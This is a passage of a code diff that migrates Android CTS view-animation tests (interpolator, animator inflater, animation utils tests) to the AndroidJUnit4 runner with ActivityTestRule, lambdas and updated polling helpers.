+        assertTrue(latch1.await(CANCELATION_TIMEOUT, TimeUnit.MILLISECONDS));
         assertFalse(anim.isStillAnimating());
     }
 
+    @Test
     public void testRepeatingCancelImmediately() throws Throwable {
         MyAnimation anim = new MyAnimation();
         final CountDownLatch latch2 = new CountDownLatch(1);
         runCanceledAnimation(anim, latch2, true, false);
-        assertTrue(latch2.await(200, TimeUnit.MILLISECONDS));
+        assertTrue(latch2.await(CANCELATION_TIMEOUT, TimeUnit.MILLISECONDS));
         assertFalse(anim.isStillAnimating());
     }
 
+    @Test
     public void testCancelDelayed() throws Throwable {
         MyAnimation anim = new MyAnimation();
         final CountDownLatch latch3 = new CountDownLatch(1);
         runCanceledAnimation(anim, latch3, false, true);
-        assertTrue(latch3.await(250, TimeUnit.MILLISECONDS));
+        assertTrue(latch3.await(CANCELATION_TIMEOUT, TimeUnit.MILLISECONDS));
         assertFalse(anim.isStillAnimating());
     }
 
+    @Test
     public void testRepeatingCancelDelayed() throws Throwable {
         MyAnimation anim = new MyAnimation();
         final CountDownLatch latch4 = new CountDownLatch(1);
         runCanceledAnimation(anim, latch4, true, true);
-        assertTrue(latch4.await(250, TimeUnit.MILLISECONDS));
+        assertTrue(latch4.await(CANCELATION_TIMEOUT, TimeUnit.MILLISECONDS));
         assertFalse(anim.isStillAnimating());
     }
 
@@ -686,37 +698,22 @@
         // anymore. The trick is that cancel() will still allow one more frame to run,
         // so we have to insert some delay between when we cancel and when we can check
         // whether it is still animating.
-        runTestOnUiThread(new Runnable() {
-            final View view = mActivity.findViewById(R.id.anim_window);
-            public void run() {
-                anim.setDuration(delayed ? 150 : 100);
-                if (repeating) {
-                    anim.setRepeatCount(Animation.INFINITE);
-                }
-                view.startAnimation(anim);
-                if (!delayed) {
-                    anim.cancel();
-                } else {
-                    view.postDelayed(new Runnable() {
-                        @Override
-                        public void run() {
-                            anim.cancel();
-                        }
-                    }, 50);
-                }
-                view.postDelayed(new Runnable() {
-                    @Override
-                    public void run() {
-                        anim.setStillAnimating(false);
-                        view.postDelayed(new Runnable() {
-                            @Override
-                            public void run() {
-                                latch.countDown();
-                            }
-                        }, 50);
-                    }
-                }, delayed ? 100 : 50);
+        final View view = mActivity.findViewById(R.id.anim_window);
+        mActivityRule.runOnUiThread(() -> {
+            anim.setDuration(delayed ? 150 : 100);
+            if (repeating) {
+                anim.setRepeatCount(Animation.INFINITE);
             }
+            view.startAnimation(anim);
+            if (!delayed) {
+                anim.cancel();
+            } else {
+                view.postDelayed(anim::cancel, 50);
+            }
+            view.postDelayed(() -> {
+                anim.setStillAnimating(false);
+                view.postDelayed(latch::countDown, 50);
+            }, delayed ? 100 : 50);
         });
     }
 
@@ -752,41 +749,4 @@
             return super.getTransformation(currentTime, outTransformation);
         }
     }
-
-    private class MockAnimationListener implements AnimationListener {
-        private boolean mHasAnimationStarted = false;
-        private boolean mHasAnimationEnded = false;
-        private boolean mHasAnimationRepeated = false;
-
-        public void onAnimationStart(Animation animation) {
-            mHasAnimationStarted = true;
-        }
-        public void onAnimationEnd(Animation animation) {
-            synchronized(mLockObject) {
-                mHasAnimationEnded = true;
-                mLockObject.notifyAll();
-            }
-        }
-        public void onAnimationRepeat(Animation animation) {
-            mHasAnimationRepeated = true;
-        }
-
-        public boolean hasAnimationStarted() {
-            return mHasAnimationStarted;
-        }
-
-        public boolean hasAnimationEnded() {
-            return mHasAnimationEnded;
-        }
-
-        public boolean hasAnimationRepeated() {
-            return mHasAnimationRepeated;
-        }
-
-        public void reset() {
-            mHasAnimationStarted = false;
-            mHasAnimationEnded = false;
-            mHasAnimationRepeated = false;
-        }
-    }
 }
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTestCtsActivity.java b/tests/tests/view/src/android/view/animation/cts/AnimationTestCtsActivity.java
index 0316f28..bf85d73 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTestCtsActivity.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTestCtsActivity.java
@@ -16,11 +16,9 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
-import android.util.Log;
+import android.view.cts.R;
 
 import java.util.concurrent.TimeUnit;
 
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java b/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
index f9675c7..9c845c1 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
@@ -17,12 +17,15 @@
 package android.view.animation.cts;
 
 import android.app.Instrumentation;
-import android.cts.util.PollingCheck;
+import android.os.SystemClock;
+import android.support.test.rule.ActivityTestRule;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.animation.Animation;
 import android.view.animation.LayoutAnimationController;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 /**
  * The utility methods for animation test.
  */
@@ -41,71 +44,58 @@
      * Assert run an animation successfully. Timeout is duration of animation.
      *
      * @param instrumentation to run animation.
+     * @param activityTestRule to run animation.
      * @param view view window to run animation.
      * @param animation will be run.
+     * @throws Throwable
      */
     public static void assertRunAnimation(final Instrumentation instrumentation,
-            final View view, final Animation animation) {
-        assertRunAnimation(instrumentation, view, animation, animation.getDuration());
+            final ActivityTestRule activityTestRule, final View view, final Animation animation)
+            throws Throwable {
+        assertRunAnimation(instrumentation, activityTestRule, view, animation,
+                animation.getDuration());
     }
 
     /**
      * Assert run an animation successfully.
      *
      * @param instrumentation to run animation.
+     * @param activityTestRule to run animation.
      * @param view window to run animation.
      * @param animation will be run.
      * @param duration in milliseconds.
+     * @throws Throwable
      */
     public static void assertRunAnimation(final Instrumentation instrumentation,
-            final View view, final Animation animation, final long duration) {
+            final ActivityTestRule activityTestRule, final View view, final Animation animation,
+            final long duration) throws Throwable {
 
-        instrumentation.runOnMainSync(new Runnable() {
-            public void run() {
-                view.startAnimation(animation);
-            }
-        });
+        activityTestRule.runOnUiThread(() -> view.startAnimation(animation));
 
         // check whether it has started
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return animation.hasStarted();
-            }
-        }.run();
+        PollingCheck.waitFor(animation::hasStarted);
 
         // check whether it has ended after duration
-        new PollingCheck(duration + TIMEOUT_DELTA) {
-            @Override
-            protected boolean check() {
-                return animation.hasEnded();
-            }
-        }.run();
+        PollingCheck.waitFor(duration + TIMEOUT_DELTA, animation::hasEnded);
 
         instrumentation.waitForIdleSync();
     }
 
     /**
-     * Assert run an AbsListView with LayoutAnimationController successfully.
-     * @param instrumentation
-     * @param view
-     * @param controller
-     * @param duration
-     * @throws InterruptedException
+     * Assert run an view with LayoutAnimationController successfully.
+     * @throws Throwable
      */
-    public static void assertRunController(final Instrumentation instrumentation,
+    public static void assertRunController(final ActivityTestRule activityTestRule,
             final ViewGroup view, final LayoutAnimationController controller,
-            final long duration) throws InterruptedException {
+            final long duration) throws Throwable {
 
-        instrumentation.runOnMainSync(new Runnable() {
-           public void run() {
-                view.setLayoutAnimation(controller);
-                view.requestLayout();
-           }
+        activityTestRule.runOnUiThread(() -> {
+            view.setLayoutAnimation(controller);
+            view.requestLayout();
         });
 
         // LayoutAnimationController.isDone() always returns true, it's no use for stopping
         // the running, so just using sleeping fixed time instead. we reported issue 1799434 for it.
-        Thread.sleep(duration + TIMEOUT_DELTA);
+        SystemClock.sleep(duration + TIMEOUT_DELTA);
     }
 }
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
index b47613f..3a8d270 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
@@ -16,11 +16,14 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
-
-import android.content.Context;
-import android.test.ActivityInstrumentationTestCase2;
+import android.app.Activity;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Animation;
@@ -28,22 +31,28 @@
 import android.view.animation.GridLayoutAnimationController;
 import android.view.animation.Interpolator;
 import android.view.animation.LayoutAnimationController;
+import android.view.cts.R;
 
-public class AnimationUtilsTest extends
-        ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private AnimationTestCtsActivity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AnimationUtilsTest {
+    private Activity mActivity;
 
-    public AnimationUtilsTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = (AnimationTestCtsActivity) getActivity();
-    }
-
+    @Test
     public void testLoad() {
         // XML file of android.view.cts.R.anim.anim_alpha
         // <alpha xmlns:android="http://schemas.android.com/apk/res/android"
@@ -74,6 +83,7 @@
         assertEquals(0.1f, controller.getDelay(), 0.001f);
     }
 
+    @Test
     public void testMakeAnimation() {
         Animation inAnimation = AnimationUtils.makeInAnimation(mActivity, true);
         assertNotNull(inAnimation);
@@ -84,6 +94,7 @@
         // TODO: How to assert these Animations.
     }
 
+    @Test
     public void testCurrentAnimationTimeMillis() {
         long time1 = AnimationUtils.currentAnimationTimeMillis();
         assertTrue(time1 > 0);
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
index e8cd62c..7e0808e 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
@@ -15,6 +15,12 @@
 */
 package android.view.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
 import android.animation.Animator;
 import android.animation.AnimatorInflater;
 import android.animation.AnimatorListenerAdapter;
@@ -24,28 +30,47 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
-import android.test.ActivityInstrumentationTestCase2;
 import android.view.Display;
 import android.view.Surface;
 import android.view.View;
 import android.view.WindowManager;
+import android.view.cts.R;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.HashSet;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-import android.view.cts.R;
-
-public class AnimatorInflaterTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AnimatorInflaterTest {
     private static final String TAG = "AnimatorInflaterTest";
-    Set<Integer> identityHashes = new HashSet<Integer>();
 
-    public AnimatorInflaterTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private AnimationTestCtsActivity mActivity;
+    private View mTestView;
+
+    Set<Integer> identityHashes = new HashSet<>();
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mTestView = mActivity.findViewById(R.id.anim_window);
     }
 
     private void assertUnique(Object object) {
@@ -55,17 +80,15 @@
     private void assertUnique(Object object, String msg) {
         final int code = System.identityHashCode(object);
         assertTrue("object should be unique " + msg + ", obj:" + object, identityHashes.add(code));
-
     }
 
+    @Test
     public void testLoadAnimatorWithDifferentInterpolators() throws Throwable {
-        Animator anim1 = AnimatorInflater
-                .loadAnimator(getActivity(), R.anim.changing_test_animator);
+        Animator anim1 = AnimatorInflater .loadAnimator(mActivity, R.anim.changing_test_animator);
         if (!rotate()) {
             return;//cancel test
         }
-        Animator anim2 = AnimatorInflater
-                .loadAnimator(getActivity(), R.anim.changing_test_animator);
+        Animator anim2 = AnimatorInflater .loadAnimator(mActivity, R.anim.changing_test_animator);
         assertNotSame(anim1, anim2);
         assertNotSame("interpolater is orientation dependent, should change",
                 anim1.getInterpolator(), anim2.getInterpolator());
@@ -74,18 +97,19 @@
     /**
      * Tests animators with dimension references.
      */
+    @Test
     public void testLoadAnimator() throws Throwable {
         // to identify objects
-        Animator anim1 = AnimatorInflater.loadAnimator(getActivity(), R.anim.test_animator);
-        Animator anim2 = AnimatorInflater.loadAnimator(getActivity(), R.anim.test_animator);
+        Animator anim1 = AnimatorInflater.loadAnimator(mActivity, R.anim.test_animator);
+        Animator anim2 = AnimatorInflater.loadAnimator(mActivity, R.anim.test_animator);
         assertNotSame("a different animation should be returned", anim1, anim2);
         assertSame("interpolator should be shallow cloned", anim1.getInterpolator(),
                 anim2.getInterpolator());
         for (int i = 0; i < 2; i++) {
-            float targetX = getActivity().getResources()
+            float targetX = mActivity.getResources()
                     .getDimension(R.dimen.test_animator_target_x);
             // y value changes in landscape orientation
-            float targetY = getActivity().getResources()
+            float targetY = mActivity.getResources()
                     .getDimension(R.dimen.test_animator_target_y);
             for (Animator anim : new Animator[]{anim1, anim2}) {
                 assertTrue(anim instanceof AnimatorSet);
@@ -99,40 +123,37 @@
                 final ObjectAnimator child1 = (ObjectAnimator) set.getChildAnimations().get(0);
                 final ObjectAnimator child2 = (ObjectAnimator) set.getChildAnimations().get(1);
                 final DummyObject dummyObject = new DummyObject();
-                runTestOnUiThread(new Runnable() {
-                    @Override
-                    public void run() {
-                        for (ObjectAnimator animator : new ObjectAnimator[]{child1, child2}) {
-                            animator.setTarget(dummyObject);
-                            animator.setupStartValues();
-                            animator.start();
-                            animator.end();
-                        }
+                mActivityRule.runOnUiThread(() -> {
+                    for (ObjectAnimator animator : new ObjectAnimator[]{child1, child2}) {
+                        animator.setTarget(dummyObject);
+                        animator.setupStartValues();
+                        animator.start();
+                        animator.end();
                     }
                 });
-                assertEquals(targetX, dummyObject.x);
-                assertEquals(targetY, dummyObject.y);
+                assertEquals(targetX, dummyObject.x, 0.0f);
+                assertEquals(targetY, dummyObject.y, 0.0f);
             }
             if (i == 0) {
                 if (!rotate()) {
                     return;//cancel test
                 }
             }
-            anim1 = AnimatorInflater.loadAnimator(getActivity(), R.anim.test_animator);
-            anim2 = AnimatorInflater.loadAnimator(getActivity(), R.anim.test_animator);
+            anim1 = AnimatorInflater.loadAnimator(mActivity, R.anim.test_animator);
+            anim2 = AnimatorInflater.loadAnimator(mActivity, R.anim.test_animator);
 
         }
     }
 
     private boolean rotate() throws Throwable {
-        WindowManager mWindowManager = (WindowManager) getActivity()
+        WindowManager mWindowManager = (WindowManager) mActivity
                 .getSystemService(Context.WINDOW_SERVICE);
         Display display = mWindowManager.getDefaultDisplay();
-        int orientation = getActivity().getResources().getConfiguration().orientation;
+        int orientation = mActivity.getResources().getConfiguration().orientation;
 
         Instrumentation.ActivityMonitor monitor = new Instrumentation.ActivityMonitor(
-                getActivity().getClass().getName(), null, false);
-        getInstrumentation().addMonitor(monitor);
+                mActivity.getClass().getName(), null, false);
+        mInstrumentation.addMonitor(monitor);
         int nextRotation = 0;
         switch (display.getRotation()) {
             case Surface.ROTATION_0:
@@ -147,21 +168,21 @@
                 Log.e(TAG, "Cannot get rotation, test is canceled");
                 return false;
         }
-        boolean rotated = getInstrumentation().getUiAutomation().setRotation(nextRotation);
+        boolean rotated = mInstrumentation.getUiAutomation().setRotation(nextRotation);
         Thread.sleep(500);
         if (!rotated) {
             Log.e(TAG, "Rotation failed, test is canceled");
         }
-        getInstrumentation().waitForIdleSync();
-        if (!getActivity().waitUntilVisible()) {
+        mInstrumentation.waitForIdleSync();
+        if (!mActivity.waitUntilVisible()) {
             Log.e(TAG, "Activity failed to complete rotation, canceling test");
             return false;
         }
-        if (getActivity().getWindowManager().getDefaultDisplay().getRotation() != nextRotation) {
+        if (mActivity.getWindowManager().getDefaultDisplay().getRotation() != nextRotation) {
             Log.e(TAG, "New activity orientation does not match. Canceling test");
             return false;
         }
-        if (getActivity().getResources().getConfiguration().orientation == orientation) {
+        if (mActivity.getResources().getConfiguration().orientation == orientation) {
             Log.e(TAG, "Screen orientation didn't change, test is canceled");
             return false;
         }
@@ -171,10 +192,11 @@
     /**
      * Simple state list animator test that checks for cloning
      */
+    @Test
     public void testLoadStateListAnimator() {
-        StateListAnimator sla1 = AnimatorInflater.loadStateListAnimator(getActivity(),
+        StateListAnimator sla1 = AnimatorInflater.loadStateListAnimator(mActivity,
                 R.anim.test_state_list_animator);
-        StateListAnimator sla2 = AnimatorInflater.loadStateListAnimator(getActivity(),
+        StateListAnimator sla2 = AnimatorInflater.loadStateListAnimator(mActivity,
                 R.anim.test_state_list_animator);
         assertUnique(sla1);
         assertUnique(sla2);
@@ -184,6 +206,7 @@
      * Tests a state list animator which has an @anim reference that has different xmls per
      * orientation
      */
+    @Test
     public void testLoadStateListAnimatorWithChangingResetState() throws Throwable {
         loadStateListAnimatorWithChangingResetStateTest();
         if (!rotate()) {
@@ -194,26 +217,23 @@
     }
 
     private void loadStateListAnimatorWithChangingResetStateTest() throws Throwable {
-        final StateListAnimator sla = AnimatorInflater.loadStateListAnimator(getActivity(),
+        final StateListAnimator sla = AnimatorInflater.loadStateListAnimator(mActivity,
                 R.anim.test_state_list_animator_2);
-        final View testView = getTestView();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                testView.setStateListAnimator(sla);
-                testView.jumpDrawablesToCurrentState();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTestView.setStateListAnimator(sla);
+            mTestView.jumpDrawablesToCurrentState();
         });
-        float resetValue = getActivity().getResources().getDimension(R.dimen.reset_state_value);
-        getInstrumentation().waitForIdleSync();
-        assertEquals(resetValue, testView.getX());
-        assertEquals(resetValue, testView.getY());
-        assertEquals(resetValue, testView.getZ());
+        float resetValue = mActivity.getResources().getDimension(R.dimen.reset_state_value);
+        mInstrumentation.waitForIdleSync();
+        assertEquals(resetValue, mTestView.getX(), 0.0f);
+        assertEquals(resetValue, mTestView.getY(), 0.0f);
+        assertEquals(resetValue, mTestView.getZ(), 0.0f);
     }
 
     /**
      * Tests a state list animator which has different xml descriptions per orientation.
      */
+    @Test
     public void testLoadChangingStateListAnimator() throws Throwable {
         loadChangingStateListAnimatorTest();
         if (!rotate()) {
@@ -223,27 +243,24 @@
     }
 
     private void loadChangingStateListAnimatorTest() throws Throwable {
-        final StateListAnimator sla = AnimatorInflater.loadStateListAnimator(getActivity(),
+        final StateListAnimator sla = AnimatorInflater.loadStateListAnimator(mActivity,
                 R.anim.changing_state_list_animator);
-        final View testView = getTestView();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                testView.setStateListAnimator(sla);
-                testView.jumpDrawablesToCurrentState();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTestView.setStateListAnimator(sla);
+            mTestView.jumpDrawablesToCurrentState();
         });
-        float targetValue = getActivity().getResources()
+        float targetValue = mActivity.getResources()
                 .getDimension(R.dimen.changing_state_list_anim_target_x_value);
-        getInstrumentation().waitForIdleSync();
-        assertEquals(targetValue, testView.getX());
+        mInstrumentation.waitForIdleSync();
+        assertEquals(targetValue, mTestView.getX(), 0.0f);
     }
 
     /**
      * Tests that makes sure that reloaded animator is not affected by previous changes
      */
+    @Test
     public void testReloadedAnimatorIsNotModified() throws Throwable {
-        final Animator anim1 = AnimatorInflater.loadAnimator(getActivity(), R.anim.test_animator);
+        final Animator anim1 = AnimatorInflater.loadAnimator(mActivity, R.anim.test_animator);
         final CountDownLatch mStarted = new CountDownLatch(1);
         final AnimatorListenerAdapter listener = new AnimatorListenerAdapter() {
             @Override
@@ -257,15 +274,12 @@
                 mStarted.countDown();
             }
         };
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                anim1.setTarget(getTestView());
-                anim1.addListener(listener);
-                anim1.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            anim1.setTarget(mTestView);
+            anim1.addListener(listener);
+            anim1.start();
         });
-        Animator anim2 = AnimatorInflater.loadAnimator(getActivity(), R.anim.test_animator);
+        Animator anim2 = AnimatorInflater.loadAnimator(mActivity, R.anim.test_animator);
         assertTrue(anim1.isStarted());
         assertFalse(anim2.isStarted());
         assertFalse("anim2 should not include the listener",
@@ -275,10 +289,6 @@
 
     }
 
-    public View getTestView() {
-        return getActivity().findViewById(R.id.anim_window);
-    }
-
     class DummyObject {
 
         float x;
diff --git a/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
index 3ac5950..372fd52 100644
--- a/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
@@ -16,9 +16,17 @@
 
 package android.view.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -28,32 +36,37 @@
 import android.view.animation.CycleInterpolator;
 import android.view.animation.Interpolator;
 import android.view.animation.Transformation;
-
 import android.view.cts.R;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link CycleInterpolator}.
  */
-public class CycleInterpolatorTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
-
-    private Activity mActivity;
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class CycleInterpolatorTest {
     /** It is defined in R.anim.cycle_alpha */
     private static final long CYCLE_ALPHA_DURATION = 2000;
     private static final float ALPHA_DELTA = 0.001f;
 
-    public CycleInterpolatorTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructors() {
         new CycleInterpolator(1.0f);
 
@@ -62,7 +75,8 @@
         new CycleInterpolator(mActivity, attrs);
     }
 
-    public void testCycyleInterpolator() {
+    @Test
+    public void testCycleInterpolator() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         final Animation anim = AnimationUtils.loadAnimation(mActivity, R.anim.cycle_alpha);
         assertEquals(CYCLE_ALPHA_DURATION, anim.getDuration());
@@ -73,7 +87,7 @@
         anim.setInterpolator(interpolator);
         assertFalse(anim.hasStarted());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         Transformation transformation = new Transformation();
         long startTime = anim.getStartTime();
@@ -112,7 +126,7 @@
         interpolator = new CycleInterpolator(2.0f);
         anim.setInterpolator(interpolator);
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         transformation = new Transformation();
         startTime = anim.getStartTime();
@@ -192,6 +206,7 @@
         assertEquals(delta12, delta4, ALPHA_DELTA);
     }
 
+    @Test
     public void testGetInterpolation() {
         CycleInterpolator cycleInterpolator = new CycleInterpolator(2.0f);
         final float out1 = cycleInterpolator.getInterpolation(0.0f);
diff --git a/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
index 2400291..1ecbe96 100644
--- a/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
@@ -16,12 +16,17 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -31,29 +36,38 @@
 import android.view.animation.DecelerateInterpolator;
 import android.view.animation.Interpolator;
 import android.view.animation.Transformation;
+import android.view.cts.R;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link DecelerateInterpolator}.
  */
-public class DecelerateInterpolatorTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
-
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class DecelerateInterpolatorTest {
     private static final float ALPHA_DELTA = 0.001f;
 
     /** It is defined in R.anim.decelerate_alpha */
     private static final long DECELERATE_ALPHA_DURATION = 2000;
 
-    public DecelerateInterpolatorTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new DecelerateInterpolator();
 
@@ -64,7 +78,8 @@
         new DecelerateInterpolator(mActivity, attrs);
     }
 
-    public void testDecelerateInterpolator() {
+    @Test
+    public void testDecelerateInterpolator() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
 
         // XML file of R.anim.decelerate_alpha
@@ -83,7 +98,7 @@
         anim.setInterpolator(interpolator);
         assertFalse(anim.hasStarted());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         Transformation transformation = new Transformation();
         long startTime = anim.getStartTime();
@@ -117,7 +132,7 @@
         interpolator = new DecelerateInterpolator(1.5f);
         anim.setInterpolator(interpolator);
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, anim);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow, anim);
 
         transformation = new Transformation();
         startTime = anim.getStartTime();
@@ -151,6 +166,7 @@
         assertTrue(delta5 > delta1);
     }
 
+    @Test
     public void testGetInterpolation() {
         final float input = 0.25f;
         Interpolator interpolator1 = new DecelerateInterpolator(1.0f);
diff --git a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimCtsActivity.java b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimCtsActivity.java
index 371af41..b6bc8fb 100644
--- a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimCtsActivity.java
+++ b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimCtsActivity.java
@@ -16,13 +16,12 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
-
 import android.app.Activity;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.view.View;
 import android.view.ViewGroup;
+import android.view.cts.R;
 import android.widget.AbsListView;
 import android.widget.GridView;
 import android.widget.ImageView;
diff --git a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
index 58efa0e..00a88ca 100644
--- a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
@@ -16,12 +16,14 @@
 
 package android.view.animation.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
-
-import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -29,19 +31,20 @@
 import android.view.animation.Animation;
 import android.view.animation.AnimationUtils;
